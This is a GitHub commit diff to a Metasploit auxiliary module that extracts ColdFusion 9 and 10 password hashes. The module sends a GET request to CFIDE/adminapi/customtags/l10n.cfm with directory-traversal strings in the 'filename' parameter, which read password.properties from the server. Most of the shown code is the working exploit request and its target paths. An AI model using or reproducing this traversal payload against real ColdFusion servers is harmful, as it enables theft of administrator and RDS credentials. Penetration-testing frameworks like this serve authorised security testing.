Skip to content

Commit 5b64379

Browse files
author
jvazquez-r7
committed
Add Coldfusion 9 target, OSVDB ref and review
1 parent 60299c2 commit 5b64379

File tree

1 file changed

+22
-4
lines changed

1 file changed

+22
-4
lines changed

modules/auxiliary/gather/coldfusion_pwd_props.rb

Lines changed: 22 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -14,26 +14,36 @@ class Metasploit3 < Msf::Auxiliary
1414

1515
def initialize(info = {})
1616
super(update_info(info,
17-
'Name' => "ColdFusion 10 'password.properties' Hash Extraction",
17+
'Name' => "ColdFusion 'password.properties' Hash Extraction",
1818
'Description' => %q{
1919
This module uses a directory traversal vulnerability to extract information
20-
such as password, rdspassword, and "encrypted" properties.
20+
such as password, rdspassword, and "encrypted" properties. This module has been
21+
tested successfully on ColdFusion 9 and ColdFusion 10. Use actions to select the
22+
target ColdFusion version.
2123
},
2224
'References' =>
2325
[
24-
[ 'EDB', '25305' ],
26+
[ 'OSVDB', '93114' ],
27+
[ 'EDB', '25305' ]
2528
],
2629
'Author' =>
2730
[
2831
'HTP',
2932
'sinn3r'
3033
],
3134
'License' => MSF_LICENSE,
35+
'Actions' =>
36+
[
37+
['ColdFusion10'],
38+
['ColdFusion9']
39+
],
40+
'DefaultAction' => 'ColdFusion 10',
3241
'DisclosureDate' => "May 7 2013" #The day we saw the subzero poc
3342
))
3443

3544
register_options(
3645
[
46+
Opt::RPORT(8500),
3747
OptString.new("TARGETURI", [true, 'Base path to ColdFusion', '/'])
3848
], self.class)
3949
end
@@ -43,6 +53,14 @@ def peer
4353
end
4454

4555
def run
56+
filename = ""
57+
case action.name
58+
when 'ColdFusion10'
59+
filename = "../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties"
60+
when 'ColdFusion9'
61+
filename = "../../../../../../../../../../../../../../../opt/coldfusion9/lib/password.properties"
62+
end
63+
4664
res = send_request_cgi({
4765
'method' => 'GET',
4866
'uri' => normalize_uri(target_uri.path, 'CFIDE', 'adminapi', 'customtags', 'l10n.cfm'),
@@ -51,7 +69,7 @@ def run
5169
'vars_get' => {
5270
'attributes.id' => 'it',
5371
'attributes.file' => '../../administrator/mail/download.cfm',
54-
'filename' => '../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties',
72+
'filename' => filename,
5573
'attributes.locale' => 'it',
5674
'attributes.var' => 'it',
5775
'attributes.jscript' => 'false',

0 commit comments

Comments
 (0)